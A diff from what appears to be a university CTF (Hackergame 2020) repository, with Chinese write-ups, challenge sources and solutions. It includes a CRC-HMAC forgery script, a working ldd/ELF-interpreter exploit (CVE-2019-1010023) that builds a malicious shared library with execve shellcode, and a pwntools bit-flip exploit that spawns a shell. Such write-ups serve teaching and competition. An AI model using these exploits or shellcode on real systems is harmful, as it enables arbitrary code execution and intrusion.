crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
|
||||
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
|
||||
|
||||
l = len(enc(b'', b''))
|
||||
payload = b''
|
||||
while len(enc(b'', payload)) == l:
|
||||
payload += b'a'
|
||||
flaglen = l + 16 - 16 - 16 - 16 - 7 - 21 - len(payload)
|
||||
print(flaglen)
|
||||
|
||||
N = 150
|
||||
|
||||
flag = b''
|
||||
while len(flag) < flaglen:
|
||||
namelen = 16 - (7 + 21 + flaglen - len(flag)) % 16 + 1 + 16 + 16 * N
|
||||
prefixlen = 7 + namelen + 21 + flaglen - len(flag) - 1
|
||||
assert prefixlen % 16 == 0
|
||||
ct = enc(namelen * b'a', b'a' * 32)
|
||||
blk_flagprev_c = ct[prefixlen: prefixlen + 16]
|
||||
blk_flag_c = ct[prefixlen + 16: prefixlen + 16 + 16]
|
||||
blk_flagnext_c = ct[prefixlen + 32: prefixlen + 16 + 32]
|
||||
blk_flagnext_p = (b'_' + flag + b'a' * 32)[16:32]
|
||||
changes = []
|
||||
strs = []
|
||||
for i in range(N):
|
||||
blk0_c = ct[16 * i + 16: 16 * i + 16 + 16]
|
||||
blk1_c = ct[16 * i + 32: 16 * i + 16 + 32]
|
||||
blk1_p = b'a' * 16
|
||||
change = xor(xor(xor(blk0_c, blk1_p), blk_flag_c), blk_flagnext_p) + xor(blk1_c, blk_flagnext_c)
|
||||
strs.append(b'\x00' * 16 * (i + 1) + change + b'\x00' * 16 * (N - 1 - i))
|
||||
changes.append(crc128(strs[-1]))
|
||||
A = Matrix(GF(2), 128, N)
|
||||
for i in range(128):
|
||||
for j in range(N):
|
||||
A[i, j] = (int.from_bytes(changes[j], 'big') >> i) & 1
|
||||
for c in range(256):
|
||||
blk_flag_p = (bytes([c]) + flag + b'a' * 32)[:16]
|
||||
target = xor(xor(xor(b"Thanks aaaaaaaaa", ct[:16]), blk_flagprev_c), blk_flag_p) + xor(ct[16:32], blk_flag_c)
|
||||
target_str = target + b'\x00' * 16 * N
|
||||
target = crc128(target_str)
|
||||
|
||||
B = vector(GF(2), 128)
|
||||
for i in range(128):
|
||||
B[i] = (int.from_bytes(target, 'big') >> i) & 1
|
||||
result = A.solve_right(B)
|
||||
|
||||
# x = b'\x00' * 16 * (N + 1)
|
||||
# for i in range(N):
|
||||
# if result[i]:
|
||||
# x = xor(x, strs[i])
|
||||
# assert crc128(x) == target
|
||||
|
||||
payload = ct[:16] + blk_flag_c + b''.join(blk_flagnext_c if result[i] else ct[16 * i + 32: 16 * i + 16 + 32] for i in range(N)) + ct[16+16+16*N:]
|
||||
if check(payload):
|
||||
flag = bytes([c]) + flag
|
||||
print(flag)
|
||||
break
|
||||
@@ -0,0 +1,33 @@
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
|
||||
def pad(msg):
|
||||
n = AES.block_size - len(msg) % AES.block_size
|
||||
return msg + bytes([n]) * n
|
||||
|
||||
|
||||
def unpad(msg):
|
||||
assert len(msg) > 0 and len(msg) % AES.block_size == 0
|
||||
n = msg[-1]
|
||||
assert 1 <= n <= AES.block_size
|
||||
assert msg[-n:] == bytes([n]) * n
|
||||
return msg[:-n]
|
||||
|
||||
|
||||
def xor(b1, b2):
|
||||
return bytes([x ^ y for x, y in zip(b1, b2)])
|
||||
|
||||
|
||||
def crc128(msg):
|
||||
crc = (1 << 128) - 1
|
||||
for b in msg:
|
||||
crc ^= b
|
||||
for _ in range(8):
|
||||
crc = (crc >> 1) ^ (0xB595CF9C8D708E2166D545CF7CFDD4F9 & -(crc & 1))
|
||||
return (crc ^ ((1 << 128) - 1)).to_bytes(16, "big")
|
||||
|
||||
|
||||
def hmac_crc128(key, msg): # RFC 2104
|
||||
opad = b"\x5c" * 16
|
||||
ipad = b"\x36" * 16
|
||||
return crc128(xor(key, opad) + crc128(xor(key, ipad) + msg))
|
||||
@@ -1 +1,68 @@
|
||||
# 从零开始的记账工具人
|
||||
|
||||
这道题考察选手基本的编程处理数据的能力,常见的编程语言都可以编写出解题代码。
|
||||
|
||||
## 解法 1
|
||||
|
||||
手工计算(听说真的有同学是这样做的?)
|
||||
|
||||
## 解法 2
|
||||
|
||||
使用任意文本编辑器(或者 Excel 本身)做字符串替换,替换规则如下:
|
||||
|
||||
```
|
||||
'零' -> ''
|
||||
'壹' -> '1'
|
||||
'贰' -> '2'
|
||||
'叁' -> '3'
|
||||
'肆' -> '4'
|
||||
'伍' -> '5'
|
||||
'陆' -> '6'
|
||||
'柒' -> '7'
|
||||
'捌' -> '8'
|
||||
'玖' -> '9'
|
||||
'拾' -> '*10+'
|
||||
'佰' -> '*100+'
|
||||
'仟' -> '*1000+'
|
||||
'元' -> '+'
|
||||
'角' -> '/10+'
|
||||
'分' -> '/100'
|
||||
'++' -> '+'
|
||||
'整' -> ''
|
||||
```
|
||||
|
||||
然后如果开头有乘号或者结尾有加号,去掉即可,这样的数学表达式求值即可得到正确的结果。
|
||||
|
||||
## 解法 3
|
||||
|
||||
编程求解,这里使用 Python 语言。
|
||||
|
||||
我们首先使用 Excel(或者其他商业的、开源的、在线的电子表格工具)将下载的文件转换为 `.csv` 格式,即逗号分隔的文本。(当然,你也可以使用解析 Excel 文件格式的库来处理)
|
||||
|
||||
然后在 Python 中安装 cn2an 这个中文数字转换的库:
|
||||
|
||||
`python3 -m pip install cn2an`
|
||||
|
||||
然后使用 Python 程序处理这个文件:
|
||||
|
||||
```python
|
||||
import cn2an
|
||||
lines = open('bills.csv').readlines()[1:]
|
||||
s = 0
|
||||
for line in lines:
|
||||
a, b = line.strip().split(',')
|
||||
n = 0
|
||||
if '元' in a:
|
||||
y, a = a.split('元')
|
||||
n += cn2an.cn2an(y, "smart")
|
||||
if '角' in a:
|
||||
y, a = a.split('角')
|
||||
n += cn2an.cn2an(y, "smart") / 10
|
||||
if '分' in a:
|
||||
y, a = a.split('分')
|
||||
n += cn2an.cn2an(y, "smart") / 100
|
||||
s += n * int(b)
|
||||
print(s)
|
||||
```
|
||||
|
||||
最后输出的结果可能有一些浮点误差,自己四舍五入一下就好了。(更好的办法是使用整数来计算,但是我比较懒就不写了)
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
FROM tiangolo/uwsgi-nginx-flask:python3.8
|
||||
|
||||
RUN pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
|
||||
RUN pip3 install pyopenssl XlsxWriter cn2an
|
||||
RUN echo 'wsgi-disable-file-wrapper = true' >> /app/uwsgi.ini
|
||||
|
||||
COPY ./app /app
|
||||
@@ -0,0 +1,17 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIICwDCCAmagAwIBAgIUHo/UysuMf4+WAcChW3hM1NHDQDkwCgYIKoZIzj0EAwIw
|
||||
gbYxCzAJBgNVBAYTAkNOMQ4wDAYDVQQIDAVBbmh1aTEOMAwGA1UEBwwFSGVmZWkx
|
||||
HjAcBgNVBAoMFVVTVEMgTGludXggVXNlciBHcm91cDEhMB8GA1UECwwYVGhlIEhh
|
||||
Y2tlcmdhbWUgQ29tbWl0dGVlMR0wGwYDVQQDDBRoYWNrLmx1Zy51c3RjLmVkdS5j
|
||||
bjElMCMGCSqGSIb3DQEJARYWaGFja2VyZ2FtZUB1c3RjbHVnLm9yZzAeFw0yMDEw
|
||||
MDgxNTIwMzZaFw0yMTEwMDgxNTIwMzZaMIG2MQswCQYDVQQGEwJDTjEOMAwGA1UE
|
||||
CAwFQW5odWkxDjAMBgNVBAcMBUhlZmVpMR4wHAYDVQQKDBVVU1RDIExpbnV4IFVz
|
||||
ZXIgR3JvdXAxITAfBgNVBAsMGFRoZSBIYWNrZXJnYW1lIENvbW1pdHRlZTEdMBsG
|
||||
A1UEAwwUaGFjay5sdWcudXN0Yy5lZHUuY24xJTAjBgkqhkiG9w0BCQEWFmhhY2tl
|
||||
cmdhbWVAdXN0Y2x1Zy5vcmcwVjAQBgcqhkjOPQIBBgUrgQQACgNCAAQcAwLQKJf1
|
||||
W8podrvryfX7GI3xEneVlEriKNh7ltLe35BfU405TSKVXOKZfxdukiUwKZUPOI4o
|
||||
zqsAfklnl/Jco1MwUTAdBgNVHQ4EFgQUnHTMWSWk9BgfVDphGi/VhTH5zOYwHwYD
|
||||
VR0jBBgwFoAUnHTMWSWk9BgfVDphGi/VhTH5zOYwDwYDVR0TAQH/BAUwAwEB/zAK
|
||||
BggqhkjOPQQDAgNIADBFAiAtkdkJ6vO1abjJt5jCnRDHCnGHTPetOtAQ12Fr1fo1
|
||||
eQIhAO4T9HjFgSAP5Bg/bzeTS5jGvZAnN14e2sjllR6392J8
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,73 @@
|
||||
from io import BytesIO
|
||||
from flask import Flask
|
||||
from flask import request, render_template, redirect, url_for, session, make_response, send_file
|
||||
|
||||
import OpenSSL
|
||||
import base64
|
||||
|
||||
import xlsxwriter
|
||||
import io
|
||||
import cn2an
|
||||
import random
|
||||
|
||||
from secret import total_money, secret_key
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = secret_key
|
||||
|
||||
with open("cert.pem") as f:
|
||||
cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, f.read())
|
||||
|
||||
@app.before_request
|
||||
def check():
|
||||
if request.path.startswith('/static/'):
|
||||
return
|
||||
if request.args.get('token'):
|
||||
try:
|
||||
token = request.args.get('token')
|
||||
id, sig = token.split(":", 1)
|
||||
sig = base64.b64decode(sig, validate=True)
|
||||
OpenSSL.crypto.verify(cert, sig, id.encode(), "sha256")
|
||||
session['token'] = token
|
||||
except Exception:
|
||||
session['token'] = None
|
||||
return redirect(url_for('index'))
|
||||
if session.get("token") is None:
|
||||
return make_response(render_template("error.html"), 403)
|
||||
|
||||
@app.route('/', methods=['GET'])
|
||||
def index():
|
||||
total = total_money(session['token'])
|
||||
file = io.BytesIO()
|
||||
workbook = xlsxwriter.Workbook(file)
|
||||
worksheet = workbook.add_worksheet()
|
||||
worksheet.write(0, 0, '单价')
|
||||
worksheet.write(0, 1, '数量')
|
||||
|
||||
random.seed(session['token'])
|
||||
cut = set()
|
||||
while len(cut) < 999:
|
||||
n = random.randrange(1, total)
|
||||
cut.add(n)
|
||||
cut = [0] + sorted(cut) + [total]
|
||||
|
||||
row = 1
|
||||
for start, end in zip(cut[:-1], cut[1:]):
|
||||
total_price = end - start
|
||||
price = total_price
|
||||
count = random.randrange(2, 11)
|
||||
if price % count == 0:
|
||||
price //= count
|
||||
else:
|
||||
count = 1
|
||||
assert count * price == total_price
|
||||
worksheet.write(row, 0, cn2an.an2cn(price / 100, "rmb"))
|
||||
worksheet.write(row, 1, count)
|
||||
row += 1
|
||||
workbook.close()
|
||||
file.seek(0)
|
||||
return send_file(file, attachment_filename="bills.xlsx", as_attachment=True)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='127.0.0.1', port=10002, debug=True)
|
||||
@@ -0,0 +1,6 @@
|
||||
import hashlib
|
||||
|
||||
secret_key = b"613a8321a1190e281ff6ae91f7"
|
||||
|
||||
def total_money(token):
|
||||
return int(hashlib.sha256(('dc91ea2aa6c0'+token).encode()).hexdigest()[:5],16)+1000000
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,33 @@
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
body {
|
||||
display: -ms-flexbox;
|
||||
display: flex;
|
||||
-ms-flex-align: center;
|
||||
align-items: center;
|
||||
padding-top: 40px;
|
||||
padding-bottom: 40px;
|
||||
}
|
||||
|
||||
.form-token {
|
||||
width: 100%;
|
||||
max-width: 600px;
|
||||
padding: 15px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.form-token h1 {
|
||||
margin-bottom: 20px;
|
||||
color: #721c24;
|
||||
}
|
||||
|
||||
.form-token .form-control {
|
||||
position: relative;
|
||||
box-sizing: border-box;
|
||||
height: auto;
|
||||
padding: 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,47 @@
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
body {
|
||||
display: -ms-flexbox;
|
||||
display: flex;
|
||||
-ms-flex-align: center;
|
||||
align-items: center;
|
||||
padding-top: 40px;
|
||||
padding-bottom: 40px;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
|
||||
.form-getflag {
|
||||
width: 100%;
|
||||
max-width: 800px;
|
||||
padding: 15px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.form-getflag h1 {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-getflag .form-control {
|
||||
position: relative;
|
||||
box-sizing: border-box;
|
||||
height: auto;
|
||||
padding: 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.form-getflag input[type="range"] {
|
||||
margin-bottom: 10px;
|
||||
border-bottom-right-radius: 0;
|
||||
border-bottom-left-radius: 0;
|
||||
}
|
||||
|
||||
.question-main {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.question-q {
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<link rel="stylesheet" href="static/bootstrap/css/bootstrap.min.css">
|
||||
<link rel="stylesheet" href="static/error.css">
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1.0,user-scalable=no">
|
||||
<title>Token 错误</title>
|
||||
</head>
|
||||
<body>
|
||||
<form class="form-token" action="">
|
||||
<h1>Error: Token 错误</h1>
|
||||
|
||||
<p>Token 错误,题目没有加载,推荐使用比赛平台上的题目链接访问。</p>
|
||||
<p>或在以下输入框中粘贴你的完整 token(可以从比赛平台复制):</p>
|
||||
|
||||
<input type="text" style="width: 400px;" name="token" placeholder="">
|
||||
<input type="submit" value="开始做题" />
|
||||
</form>
|
||||
<script src="static/jquery.min.js"></script>
|
||||
<script src="static/bootstrap/js/bootstrap.min.js"></script>
|
||||
|
||||
<script type="text/javascript">
|
||||
$(function () {
|
||||
$('input[type="text"]').on('input', function () {
|
||||
this.value = $.trim(this.value);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,7 @@
|
||||
version: "3"
|
||||
services:
|
||||
exam:
|
||||
restart: always
|
||||
build: .
|
||||
ports:
|
||||
- "10002:80"
|
||||
@@ -1 +1,33 @@
|
||||
# 动态链接库检查器
|
||||
|
||||
在 ldd 的 man 手册页中我们可以查到:
|
||||
|
||||
```
|
||||
Security
|
||||
Be aware that in some circumstances (e.g., where the program speci‐
|
||||
fies an ELF interpreter other than ld-linux.so), some versions of ldd
|
||||
may attempt to obtain the dependency information by attempting to di‐
|
||||
rectly execute the program, which may lead to the execution of what‐
|
||||
ever code is defined in the program's ELF interpreter, and perhaps to
|
||||
execution of the program itself. (In glibc versions before 2.27, the
|
||||
upstream ldd implementation did this for example, although most dis‐
|
||||
tributions provided a modified version that did not.)
|
||||
|
||||
Thus, you should never employ ldd on an untrusted executable, since
|
||||
this may result in the execution of arbitrary code. A safer alterna‐
|
||||
tive when dealing with untrusted executables is:
|
||||
|
||||
$ objdump -p /path/to/program | grep NEEDED
|
||||
|
||||
Note, however, that this alternative shows only the direct dependen‐
|
||||
cies of the executable, while ldd shows the entire dependency tree of
|
||||
the executable.
|
||||
```
|
||||
|
||||
虽然说 ldd 处理任意的程序是危险的,但常见的 Linux 发行版,包括题目服务器的版本,都避免了这个问题。
|
||||
|
||||
在网上搜索「ldd exploit」之类的关键词可以查到 CVE-2019-1010023,在[这个链接](https://sourceware.org/bugzilla/show_bug.cgi?id=22851)中,我们可以看到 ldd 任意命令执行的示例代码,然而这个问题并没有被修复。
|
||||
|
||||
所以我们把示例代码保存成文件,把 `shellcode.asm` 最后的 `cat /etc/passwd` 改成读取 flag 的命令 `cat /flag`,然后在 Linux 环境下使用 `make` 命令编译,得到的 `libevil.so` 就可以上传到题目的网页获得 flag 了。
|
||||
|
||||
[解题代码](src/solution)
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
all:
|
||||
gcc -fPIC -shared evil.c -o libevil.so
|
||||
gcc main.c -levil -L. -o main -Wl,-rpath,./
|
||||
gcc make_evil.c -o make_evil -g
|
||||
evil: all
|
||||
nasm -fbin shellcode.asm -o shellcode.bin
|
||||
gcc -fPIC -shared evil.c -T evil.script -o libevil.so
|
||||
./make_evil
|
||||
clean:
|
||||
rm main libevil.so
|
||||
|
||||
gdb:
|
||||
gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so
|
||||
|
||||
list:
|
||||
/lib64/ld-linux-x86-64.so.2 --list ./libevil.so
|
||||
@@ -0,0 +1,10 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int evil() {
|
||||
printf("Hello world!\n");
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
|
||||
"elf64-x86-64")
|
||||
OUTPUT_ARCH(i386:x86-64)
|
||||
ENTRY(_start)
|
||||
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib");
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
|
||||
.text :
|
||||
{
|
||||
*(.text)
|
||||
}
|
||||
.rela.plt :
|
||||
{
|
||||
*(.rela.plt)
|
||||
}
|
||||
.dynamic : { *(.dynamic) }
|
||||
|
||||
.got : { *(.got) }
|
||||
.got.plt : { *(.got.plt) *(.igot.plt) }
|
||||
.data : { *(.data) }
|
||||
|
||||
/DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
extern int evil();
|
||||
|
||||
char buffer[16536];
|
||||
int main() {
|
||||
evil();
|
||||
int fd = open("/proc/self/maps", 0);
|
||||
int size = read(fd, buffer, sizeof(buffer));
|
||||
if (size > 0)
|
||||
write(0, buffer, size);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
#include <elf.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
off_t get_len(int fd)
|
||||
{
|
||||
off_t length = lseek(fd, 0, SEEK_END);
|
||||
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
return length;
|
||||
|
||||
}
|
||||
|
||||
|
||||
int get_file(char *evilname)
|
||||
{
|
||||
int fd = open(evilname, O_RDWR);
|
||||
if (fd < 0)
|
||||
{
|
||||
printf("Failed to open\n");
|
||||
return -1;
|
||||
}
|
||||
return fd;
|
||||
}
|
||||
|
||||
int align(int fd, size_t len, size_t value)
|
||||
{
|
||||
char buffer[4096] = {0};
|
||||
size_t rest = value - (len & (value - 1));
|
||||
while ( rest > 4096) {
|
||||
write(fd, buffer, 4096);
|
||||
rest -= 4096;
|
||||
}
|
||||
write(fd, buffer, rest);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) {
|
||||
|
||||
Elf64_Ehdr header = {0};
|
||||
|
||||
int size = read(fd, &header, sizeof(header));
|
||||
if (size < sizeof(header))
|
||||
{
|
||||
printf("read failed\n");
|
||||
return -1;
|
||||
}
|
||||
if (header.e_ident[EI_CLASS] != ELFCLASS64)
|
||||
{
|
||||
printf("Not elf64\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (header.e_phentsize != sizeof(Elf64_Phdr))
|
||||
{
|
||||
printf("unknown phdr struct\n");
|
||||
return -1;
|
||||
}
|
||||
unsigned long ph_size = header.e_phnum * header.e_phentsize;
|
||||
|
||||
header.e_phnum += new_count;
|
||||
|
||||
off_t off = lseek(fd, 0, SEEK_SET);
|
||||
if (off == (off_t)-1)
|
||||
{
|
||||
printf("bad ph_off\n");
|
||||
return -1;
|
||||
}
|
||||
size = write(fd, &header, sizeof(header));
|
||||
if (size != sizeof(header))
|
||||
{
|
||||
printf("failed to write header\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
off = lseek(fd, ph_size + header.e_phoff, SEEK_SET);
|
||||
if (off == (off_t)-1)
|
||||
{
|
||||
printf("bad ph_off\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr));
|
||||
if (size != new_count*sizeof(Elf64_Phdr))
|
||||
{
|
||||
printf("write failed, file corrupted. sorry\n");
|
||||
return -1;
|
||||
}
|
||||
off = lseek(fd, 0, SEEK_SET);
|
||||
if (off == (off_t)-1)
|
||||
{
|
||||
printf("failed go to start");
|
||||
return -1;
|
||||
}
|
||||
|
||||
off = lseek(fd, 0, SEEK_END);
|
||||
if (off == (off_t)-1)
|
||||
{
|
||||
printf("failed to seek to end\n");
|
||||
return -1;
|
||||
}
|
||||
align(fd, off, new_heades[0].p_align);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
char shellcode[4096];
|
||||
unsigned long libc_size = 0x26000;
|
||||
int main() {
|
||||
int scfd = get_file("shellcode.bin");
|
||||
off_t sc_len = get_len(scfd);
|
||||
read(scfd, shellcode, sc_len);
|
||||
|
||||
int fd = get_file("libevil.so");
|
||||
if (fd < 0)
|
||||
printf("failed open\n");
|
||||
|
||||
off_t off = get_len(fd);
|
||||
if (off == (off_t)-1)
|
||||
{
|
||||
printf("failed get len\n");
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
Elf64_Phdr new_headers[2];
|
||||
|
||||
new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment
|
||||
new_headers[0].p_flags = PF_X|PF_R|PF_W;
|
||||
new_headers[0].p_offset = off + (4096 - (4095&off));
|
||||
new_headers[0].p_vaddr = 0x400000;
|
||||
new_headers[0].p_paddr = 0;
|
||||
new_headers[0].p_filesz = libc_size;
|
||||
new_headers[0].p_memsz = 0x200000;
|
||||
new_headers[0].p_align = 4096;
|
||||
|
||||
if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset)
|
||||
& (new_headers[0].p_align - 1)) != 0 )
|
||||
{
|
||||
|
||||
printf("ELF load command address/offset not properly aligned\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
new_headers[1].p_type = PT_LOAD;
|
||||
new_headers[1].p_flags = PF_X|PF_R|PF_W;
|
||||
new_headers[1].p_offset = 0;
|
||||
new_headers[1].p_vaddr = 0x200000;
|
||||
new_headers[1].p_paddr = 0;
|
||||
new_headers[1].p_filesz = 0;
|
||||
new_headers[1].p_memsz = 0x200000;
|
||||
new_headers[1].p_align = 0x200000;
|
||||
|
||||
int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len);
|
||||
char buffer[4096];
|
||||
memset(buffer, 0x90, 4096);
|
||||
unsigned long size = libc_size;
|
||||
while(size > 4096)
|
||||
{
|
||||
write(fd, buffer, 4096);
|
||||
size -= 4096;
|
||||
}
|
||||
memcpy(buffer + 4095 - sc_len, shellcode, sc_len);
|
||||
write(fd, buffer, 4096);
|
||||
|
||||
close(fd);
|
||||
return res;
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
bits 64
|
||||
|
||||
push 59
|
||||
pop rax ; rax=sys_execve
|
||||
cdq ; penv=0
|
||||
mov rcx, '/bin//sh'
|
||||
push rdx ; 0
|
||||
push rcx ; "/bin//sh"
|
||||
push rsp
|
||||
pop rdi ; rdi="/bin//sh", 0
|
||||
; ---------
|
||||
push rdx ; 0
|
||||
push word '-c'
|
||||
push rsp
|
||||
pop rbx ; rbx="-c", 0
|
||||
push rdx ; NULL
|
||||
jmp l_cmd64
|
||||
r_cmd64: ; command
|
||||
push rbx ; "-c"
|
||||
push rdi ; "/bin//sh"
|
||||
push rsp
|
||||
pop rsi ; rsi=args
|
||||
syscall
|
||||
l_cmd64:
|
||||
call r_cmd64
|
||||
db 'cat /flag', 0
|
||||
@@ -1 +1,23 @@
|
||||
# 超精准的宇宙射线模拟器
|
||||
|
||||
## 分析程序
|
||||
|
||||
反编译之后可以看出,程序初始化时将自己的代码段设置为了可写。
|
||||
|
||||
main 函数中,程序读入一个地址 addr 和一个整数 bit,然后把 addr 地址的第 bit 位翻转,然后程序退出。
|
||||
|
||||
我们只能翻转一个 bit,但只翻转一个 bit 不足以让我们获得任意命令执行的能力。所以这道题的关键在于,我们要利用翻转的第一个 bit 来创造出一个循环,使得我们可以翻转更多的 bit。可以翻转更多 bit 之后,我们就可以把 shellcode 写入代码段中,然后想办法跳转过去。
|
||||
|
||||
至于如何创造出循环,懒人做法是在代码段的地址范围内穷举所有地址,直到找到一个翻转后程序可以第二次读取我们输入(而不是崩溃或者正常退出)的位置。
|
||||
|
||||
我并没有去穷举,而是直接看汇编。
|
||||
|
||||
0x401295 处是一个 call 指令,调用了 `exit()` 函数退出程序,如果让它不要退出,就可以到达输出 `"Invalid input"` 的地方,然后跳转到输入的地方,形成循环。
|
||||
|
||||
这个 call 指令调用了 0x4010c0 这个函数,字节码是 `E8 26 FE FF FF`,如果翻转 `26` 的第 6 个 bit,就可以把字节码变成 `E8 66 FE FF FF`,即跳转到 0x401100,这里的逻辑是直接返回。
|
||||
|
||||
然后,我们利用这个循环来不断把 shellcode 覆盖 0x4010c0 也就是原来的 `exit()` 函数。
|
||||
|
||||
最后,我们把之前翻转那个 bit 改回去,程序跳转到 0x4010c0,我们的 shellcode 会被执行,就可以拿到 shell 了。
|
||||
|
||||
[最终的解题代码](src/solve_flip.py)
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,27 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void __init(){
|
||||
mprotect((void*)0x00401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
|
||||
}
|
||||
|
||||
int main(){
|
||||
void *addr;
|
||||
int bit;
|
||||
start:
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
puts("You can flip only one bit in my memory. Where do you want to flip?");
|
||||
scanf("%p %d", &addr, &bit);
|
||||
if (bit >= 0 && bit < 8) {
|
||||
*(unsigned char*)addr ^= 1 << bit;
|
||||
puts("Done.");
|
||||
exit(0);
|
||||
} else {
|
||||
puts("Invalid input");
|
||||
goto start;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from pwn import *
|
||||
|
||||
context.log_level='debug'
|
||||
r = remote('202.38.93.111', 10231)
|
||||
|
||||
r.recvuntil("token: ")
|
||||
r.sendline("这里填写你的 token")
|
||||
|
||||
def flip(addr, bit):
|
||||
r.recvuntil('flip?')
|
||||
r.sendline(hex(addr) + ' ' + str(bit))
|
||||
|
||||
target = 0x401295
|
||||
|
||||
flip(target + 1, 6)
|
||||
|
||||
shellcode_start = 0x4010c0
|
||||
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
||||
e = ELF('./flip')
|
||||
for i in range(len(shellcode)):
|
||||
b = shellcode[i] ^ e.read(shellcode_start + i, 1)[0]
|
||||
for j in range(8):
|
||||
if (b >> j) & 1:
|
||||
flip(shellcode_start + i, j)
|
||||
|
||||
flip(target + 1, 6)
|
||||
|
||||
r.interactive()
|
||||
Reference in New Issue
Block a user